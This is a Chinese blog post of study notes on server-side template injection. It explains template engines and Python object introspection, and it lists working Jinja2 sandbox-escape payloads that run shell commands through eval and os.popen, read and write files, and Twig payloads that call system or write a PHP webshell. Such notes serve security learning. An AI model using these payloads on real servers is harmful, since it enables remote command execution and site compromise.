avatar

目录
SSTi 模板注入笔记

小声bb,想玩FF7

什么是SSTi

SSTi 就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。

SSTi 也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTi 利用的是现在的网站模板引擎(下面会提到),主要针对pythonphpjava 的一些网站处理框架,比如Pythonjinja2 mako tornado djangoPhpsmarty twigJavajade velocity。当这些框架对运用渲染函数生成html的时候会出现 SSTi 的问题。

现在网上提起的比较多的是Python的网站。

模板引擎

模板引擎 (这里特指用于Web开发的模板引擎)

  • 是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
  • 可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

也就是说,利用 模板引擎 来生成前端的 html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成 模板+用户数据前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

Payload

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# exec webshell1
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

# exec webshell2
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
# poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}


# 获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

# 读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

# 写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

TWIG 全版本 通用 SSTI payload

参考文档

python
1
2
3
4
5
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

需要了解的一些东西

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 字符串
>>> ''.__class__
<type 'str'>
>>> ().__class__

# 元组
<type 'tuple'>
>>> [].__class__

# 列表
<type 'list'>

# 字典
>>> {}.__class__
<type 'dict'>

_class_ :用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> ().__class__.__bases__
(<type 'object'>,)

>>> ''.__class__.__bases__
(<type 'basestring'>,)

>>> [].__class__.__bases__
(<type 'object'>,)

>>> {}.__class__.__bases__
(<type 'object'>,)

>>> [].__class__.__bases__[0]
<type 'object'>

_bases_ :用来查看类的基类,也可是使用数组索引来查看特定位置的值

1
2
3
4
5
6
7
8
9
10
11
12
>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>,
<type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>,
<type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>,
<type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>,
<type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>,
<type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>,
<type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>,
<type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>,
<type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>,
<type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

_subclasses_() :查看当前类的子类。

当然我们也可以直接用 object._subclasses_(),会得到和上面一样的结果。
获取基类还能用还有 _mro_,比如:

python
1
2
3
4
5
6
7
8
9
10
11
12
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

# 使用索引获取基类
>>> ().__class__.__mro__[1]
<class 'object'>

力推参考学习

python沙箱逃逸

SSTi神器–Tplmap

SSTI注入语句总结

python沙箱逃逸一些套路的小结

一文看懂Python沙箱逃逸

文章作者: 晓黑
文章链接: https://www.suk1.top/2020/04/09/SSTi_learning/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Manayakko - 微笑才是王道
打赏
  • 微信
    微信